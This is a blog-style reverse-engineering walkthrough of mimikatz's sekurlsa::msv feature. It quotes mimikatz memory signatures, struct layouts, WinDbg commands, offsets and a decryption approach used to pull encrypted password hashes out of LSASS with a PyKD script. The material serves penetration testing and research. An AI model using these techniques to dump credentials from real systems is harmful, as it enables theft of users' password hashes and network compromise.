eyes

Preface

All the value that a tool such as mimikatz provides in extrapolating Windows credential’s from memory resides in every pentester’s heart and guts. It is so resilient and flexible that it has quickly become the de facto standard in credential dumping and we cannot thank Benjamin Delpy enough for the immense quality work that has been done in recent years.

Since the code is open source , I recently decided to take up the not-so-leisurely hobby of understanding the mimikatz codebase. I then thought it would be quite informative to recreate some of its features through PyKD, a WinDbg module that aids in python automation.

Reversing mimikatz sekurlsa::msv

Our journey begins from the Adam Chester excellent walkthrough of the ::wdigest module: the digest authentication mechanism, implemented by the wdigest.dll has been responsible for caching in memory plain-text passwords and, because of this, has been historically the first-choice option for mimikatz. However, since this method has been disabled by default on the most recent Windows10 version, we have to go above and beyond, pick up the baton and continue analyzing what lies underneath the sekurlsa::msv command instead.

Like the ::wdigest command, the sekurlsa::msv is also a subset of the more exhaustive sekurlsa::logonpasswords, but we can consider it as one of mimikatz’s main features as it is responsible for collecting password hashes from the LSASS address space.

But first, a few remarks words on the windows local authentication scheme are a must we have to deal with. The Local Security Authority (LSA) is implemented as a running process in the Local Security Authority Subsystem Service (lsass.exe), which is the crucial service responsible for handling user authentication.

eyes

After a user inputs their credentials, the WinLogon Credential Package calls the LsaLogonUser function in order to authenticate the user: the function specifies which authentication package needs to check the log-on data that has been sent.

Together with Kerberos, the msv1_0 dll is one of the authentication packages available and used to handle the authentication mechanism in cooperation with the LSA.

From MSDN:

The MSV1_0 authentication package defines a primary credentials key/string value pair. The primary credentials string holds the credentials derived from the data provided at logon time. It includes the user name and both case-sensitive and case-insensitive forms of the user’s password.

Guess what? Those Primary Credentials data structures are - no surprises there - the same ones employed by mimikatz when hunting for user data in memory.

Speaking about credentials, we have determined from Adam’s research that sekurlsa::wdigest stores them in plaintext under the wdigest.dll, specifically at the wdigest!l_LogSessList list.

In the case of the sekurlsa::msv , the user data linked-list array (thanks b4rtik:) resides in the lsasrv.dll and starts at lsasrv!LogonSessionList. These kinds of symbols can be easily queried by a debugger like WinDbg, but not by a regular executable as mimimkatz is. So it adopts this cunning solution that hunts memory for os-version-based signatures:

#elif defined(_M_X64)
BYTE PTRN_WIN5_LogonSessionList[]	= {0x4c, 0x8b, 0xdf, 0x49, 0xc1, 0xe3, 0x04, 0x48, 0x8b, 0xcb, 0x4c, 0x03, 0xd8};
BYTE PTRN_WN60_LogonSessionList[]	= {0x33, 0xff, 0x45, 0x85, 0xc0, 0x41, 0x89, 0x75, 0x00, 0x4c, 0x8b, 0xe3, 0x0f, 0x84};
BYTE PTRN_WN61_LogonSessionList[]	= {0x33, 0xf6, 0x45, 0x89, 0x2f, 0x4c, 0x8b, 0xf3, 0x85, 0xff, 0x0f, 0x84};
BYTE PTRN_WN63_LogonSessionList[]	= {0x8b, 0xde, 0x48, 0x8d, 0x0c, 0x5b, 0x48, 0xc1, 0xe1, 0x05, 0x48, 0x8d, 0x05};
BYTE PTRN_WN6x_LogonSessionList[]	= {0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74};
BYTE PTRN_WN1703_LogonSessionList[]	= {0x33, 0xff, 0x45, 0x89, 0x37, 0x48, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74};
BYTE PTRN_WN1803_LogonSessionList[] = {0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74};

You can get the entire source file here.
As we are testing on the latest Windows10 (1909 according to January 2020) what we are after from the above list is the WN6x byte sequence (yeah, it might look odd, but 1909 version adopts an old Windows 8 signature). If we search for that signature, IDA finds it belonging to the WLsaEnumerateLogonSession function, coincidentally to the the xor edi, edi at the very beginning.

eyes

To prevent patch-guard from barking we can set a hardware breakpoint after having resolved the LogonSessionList symbol and then trigger an authentication on the target host.

0: kd> x lsasrv!LogonSessionList
00007ffc`24ff7280 lsasrv!LogonSessionList = <no type information>
0: kd> ba r 4 00007ffc`24ff7280
0: kd> g

[user authenticates...]

Breakpoint 1 hit
lsasrv!LsapCreateLsaLogonSession+0x209:
0033:00007ffc`24ea9099 48394108        cmp     qword ptr [rcx+8],rax

Once we hit the bp we can search for the mimikatz signature this way:

1: kd> s  @rip L10000000 33 ff 41 89 37 4c 8b f3 45 85 c0 74
00007ffc`24edd4a4  33 ff 41 89 37 4c 8b f3-45 85 c0 74 53 48 8d 35  3.A.7L..E..tSH.5

And yay! These are our well known bytes, matching the lsasrv!WLsaEnumerateLogonSession function.

1: kd> u 00007ffc`24edd4a4
lsasrv!WLsaEnumerateLogonSession+0x13c
00007ffc`24edd4a4 33ff            xor     edi,edi
00007ffc`24edd4a6 418937          mov     dword ptr [r15],esi
00007ffc`24edd4a9 4c8bf3          mov     r14,rbx
00007ffc`24edd4ac 4585c0          test    r8d,r8d
00007ffc`24edd4af 7453            je      lsasrv!WLsaEnumerateLogonSession+0x19c (00007ffc`24edd504)
00007ffc`24edd4b1 488d35c89f1100  lea     rsi,[lsasrv!LogonSessionListLock (00007ffc`24ff7480)]
00007ffc`24edd4b8 488d0dc19d1100  lea     rcx,[lsasrv!LogonSessionList (00007ffc`24ff7280)]
00007ffc`24edd4bf 8bd7            mov     edx,edi

From there we can clearly spot:

00007ffc`24edd4b8 488d0dc19d1100  lea     rcx,[lsasrv!LogonSessionList (00007ffc`24ff7280)]

We notice the LEA instruction dereferencing the value of our beloved LogonSessionList, at RIP relative offset, calculated at runtime. Then, we can verify the target address by disassembling 488d0dc19d1100 to lea rcx,[rip+0x119dc1] and adding it to RIP.

00007ffc`24edd4bf +
         0x119dc1 =
         --------
00007ffc`24ff7280

Mimimkatz, however, does the same thing in a different way: by just accessing the signature base address (00007ffc`24edd4a4) and by adding an offset of 23, it is able to retrieve the address of the LogonSessionList.

eyes

So now we know how to get the base address of the user data array, but in order to obtain the right information (username, logondomain, credentials, etc.), we still need to parse it in the correct manner. To get the right struct size (originally taken from the msv1_0.dll), mimikatz picks the corresponding one according to the following function taken from this source:

NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)
{
	KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData;
	ULONG nbListes = 1, i;
	PVOID pStruct;
	KULL_M_MEMORY_ADDRESS securityStruct, data = {&nbListes, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
	BOOL retCallback = TRUE;
	const KUHL_M_SEKURLSA_ENUM_HELPER * helper;
	NTSTATUS status = kuhl_m_sekurlsa_acquireLSA();

	if(NT_SUCCESS(status))
	{
		sessionData.cLsass = &cLsass;
		sessionData.lsassLocalHelper = lsassLocalHelper;

		if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_2K3)
			helper = &lsassEnumHelpers[0];
		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_VISTA)
			helper = &lsassEnumHelpers[1];
		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_7)
			helper = &lsassEnumHelpers[2];
		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_8)
			helper = &lsassEnumHelpers[3];
		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
			helper = &lsassEnumHelpers[5];
		else
			helper = &lsassEnumHelpers[6];

Since 1909 falls into the last case, we enter into the KIWI_MSV1_0_LIST_63 realm:

const KUHL_M_SEKURLSA_ENUM_HELPER lsassEnumHelpers[] = {
	{sizeof(KIWI_MSV1_0_LIST_51), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_51, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonServer)},
	{sizeof(KIWI_MSV1_0_LIST_52), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_52, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonServer)},
	{sizeof(KIWI_MSV1_0_LIST_60), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_60, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonServer)},
	{sizeof(KIWI_MSV1_0_LIST_61), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_61, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonServer)},
	{sizeof(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonServer)},
	{sizeof(KIWI_MSV1_0_LIST_62), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_62, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonServer)},
	{sizeof(KIWI_MSV1_0_LIST_63), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_63, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonServer)},
};

This struct, together with the ones support different win versions, can be found here. No doubt Delpy has done an outstanding job in reversing each and everyone of them and keeping the list up-to-date version by version.

If we take a closer look at the KIWI_MSV1_0_LIST_63 structure we can take notes of the offset needed in the python script we are going to use with PyKD.

typedef struct _KIWI_MSV1_0_LIST_63 {
	struct _KIWI_MSV1_0_LIST_63 *Flink;	//off_2C5718
	struct _KIWI_MSV1_0_LIST_63 *Blink; //off_277380
	PVOID unk0; // unk_2C0AC8
	ULONG unk1; // 0FFFFFFFFh
	PVOID unk2; // 0
	ULONG unk3; // 0
	ULONG unk4; // 0
	ULONG unk5; // 0A0007D0h
	HANDLE hSemaphore6; // 0F9Ch
	PVOID unk7; // 0
	HANDLE hSemaphore8; // 0FB8h
	PVOID unk9; // 0
	PVOID unk10; // 0
	ULONG unk11; // 0
	ULONG unk12; // 0 
	PVOID unk13; // unk_2C0A28
	LUID LocallyUniqueIdentifier;
	LUID SecondaryLocallyUniqueIdentifier;
	BYTE waza[12]; /// to do (maybe align)
	LSA_UNICODE_STRING UserName;
	LSA_UNICODE_STRING Domaine;
	PVOID unk14;
	PVOID unk15;
	LSA_UNICODE_STRING Type;
	PSID  pSid;
	ULONG LogonType;
	PVOID unk18;
	ULONG Session;
	LARGE_INTEGER LogonTime; // autoalign x86
	LSA_UNICODE_STRING LogonServer;
	PKIWI_MSV1_0_CREDENTIALS Credentials;
    [...]

The UserName field is at the offset 0x90 (264) from list entry start and the LogonDomain just one LSA_UNICODE_STRING away (16 bytes, for a total of 0xa0 offset) The credential struct PKIWI_MSV1_0_CREDENTIALS blob can be obtained by calculating the offset 0x108 from the start and then we’ll get a pointer to this:

typedef struct _KIWI_MSV1_0_CREDENTIALS {
	struct _KIWI_MSV1_0_CREDENTIALS *next;
	DWORD AuthenticationPackageId;
	PKIWI_MSV1_0_PRIMARY_CREDENTIALS PrimaryCredentials;
} KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS;

From there we shift 0x10 bytes to the PKIWI_MSV1_0_PRIMARY_CREDENTIALS PrimaryCredentials struct, which is the coveted treasure chest, containing hashed credentials. And here is the final nested struct

typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS {
	struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS *next;
	ANSI_STRING Primary;
	LSA_UNICODE_STRING Credentials;
} KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS;

that contains a nice ANSI_STRING signature, aptly named “Primary”, which can be spotted in memory as well

0: kd> !list -x "db poi(poi(@$extret+0x108)+0x10)+0x28" poi(lsasrv!LogonSessionList)
0000022f`6d8f0e78  50 72 69 6d 61 72 79 00-7f 18 36 5e 97 c4 b4 83  Primary...6^....
0000022f`6d8f0e88  af 10 af c8 3e 18 85 14-21 ae 82 5c a6 82 18 79  ....>...!..\...y
0000022f`6d8f0e98  96 2b 83 13 c0 0d 62 6f-aa ea 29 4f 4e e4 83 6c  .+....bo..)ON..l
0000022f`6d8f0ea8  fb 94 d8 12 93 9a cc 04-48 f0 fd cc ba 03 c6 f5  ........H.......
0000022f`6d8f0eb8  a1 8c 9e 3b f2 28 bd 12-3e 9f c5 38 33 e2 9a 3c  ...;.(..>..83..<
0000022f`6d8f0ec8  f6 b0 21 a9 1b b4 7e 9d-1c b8 cd b7 ff cd c8 a8  ..!...~.........
0000022f`6d8f0ed8  33 f5 6a ea 37 60 3e d0-aa c0 8f 1e 4a 32 b2 9b  3.j.7`>.....J2..
0000022f`6d8f0ee8  66 0f 19 a6 78 a5 57 eb-c9 28 55 18 a2 df 1a 27  f...x.W..(U....'

To get the whole crypto blob we just need to get past the signature value and save the next 0x1B0 bytes somewhere, so it can get decrypted later on. Uh? crypto blob? Did I mentioned that the whole hash blob is encrypted? Well, the original purpose of the LSA is to protect memory-stored credentials from being read by unprivileged users - that’s why we need debug privilege to obtain a privileged process handle (lsass).

So,what about the crypto blob? Since the encryption/decryption methods are exactly the same explained in Adam’s, there is no need for me to reiterate them here. You just need to remember that the user data is actually concealed by a symmetric algorithm, either AES or 3DES, depending on the byte-length.

For the sake of our PyKD script it just happens lsasrv!hAesKey and lsasrv!h3DesKey are the available symbols we are looking for, so we won’t need any signature from a WinDbg perspective. If the cryptoblob is divisible by 8, then AES is used. Otherwise 3DES is used. In our proof-of-concept I will only deal with 3DES, since it my blob is not a multiple of 8, though the concept can be easily transferred to AES. Also, we really don’t care about getting the right Initialization Vector (IV) since 3DES in CBC mode will only use the IV to decrypt the first 8 bytes of data, which happen to be useless data in our case.

eyes

So we can skip the IV retrieval part in our code.

A friendly PyKD tutorial

I saw the potential of this project to briefly showcase the opportunities given by the PyKD framework.

As stated from the official project space:

This project can help to automate debugging and crash dump analysis using Python. It allows one to take the best from both worlds: the expressiveness and convenience of Python with the power of WinDbg!

Let’s set up a x64-only PyKD environment, since our target KD process (lsass.exe) will run in x64 mode. Before anything else, make sure you are running only the latest Python 2.7 Python 3.6 x64 version on your windows machine.

1). Download the latest PyKD x64 dll version here and copy it to

   C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\winext\

2). Verify that you can load it from windbg by getting a similar output and make sure that the loaded python version is also x64.

   0: kd> .load pykd
   0: kd> !py
  Python 3.6.0 (v3.6.0:41df79263a11, Dec 23 2016, 08:06:12) [MSC v.1900 64 bit (AMD64)] on win32
  Type "help", "copyright", "credits" or "license" for more information.
  (InteractiveConsole)
   >>> 

3). Install the PyKD python module by doing the following:

   C:\> python pip install pykd

4). I had some issues integrating the standard pycrypto module together with PyKD, so I decided to use only what I needed for this PoC, a 3DES library, which can be installed as follows:

   C:\> python pip install pyDes

5). Remember to import pykd in your script

   import pykd

   print pykd.dbgCommand("!process 0 0 lsass.exe")
   [...]

6). If everything is correctly set up, then you can call the script from within WinDbg:

   0: kd> .load pykd
   0: kd> !py <path to script.py>

If we are good to go, let’s reuse our previous knowledge on mimikatz and build this fascinating hash dumper.

LSASS credential abduction via KD automation

So there you have it: let’s dissect the script block by block and finally give it a test run. First, let’s set up a remote KD session. On the target box, set up the remote KD session pointing to the WinDBG debugger.
Debugge :

bcdedit /debug on
bcdedit /dbgsettings NET HOSTIP:[DEBUGGER_IP] port:50000 key:1.1.1.1

Debuger : From the KD Debugger we just need to open a new x64 kernel NET session:
eyes

Feeling brave and bold enough, we can give it go:

eyes

The whole code and project can be tried out here which supports both Python 3 and 2, but please try to avoid Python2 as is good as dead.